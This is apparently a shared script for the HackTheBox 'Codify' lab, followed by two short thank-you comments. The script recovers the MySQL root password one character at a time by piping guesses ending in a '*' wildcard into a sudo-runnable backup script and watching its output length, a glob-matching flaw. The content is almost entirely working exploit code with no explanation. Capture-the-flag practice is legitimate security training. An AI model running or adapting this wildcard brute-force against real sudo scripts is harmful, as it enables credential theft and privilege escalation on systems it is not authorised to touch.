HackTheBox Codify - Script to get mysql root password

get_db_password.sh

password=""

while true; do
    password_check=$(echo "$password" | sudo /opt/scripts/mysql-backup.sh 2>&1 | wc -l)

    if [ $password_check -gt 2 ]
    then
        echo "$password"
        break
    fi

    for char in {a..z} {A..Z} {0..9}; do
        result_number_of_lines=$(echo "$password$char*" | sudo /opt/scripts/mysql-backup.sh 2>&1 | wc -l)

        if [ $result_number_of_lines -gt 2 ]
        then
            password="$password$char"
            continue
        fi
    done
done

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Very helpful, thanks!

very helpful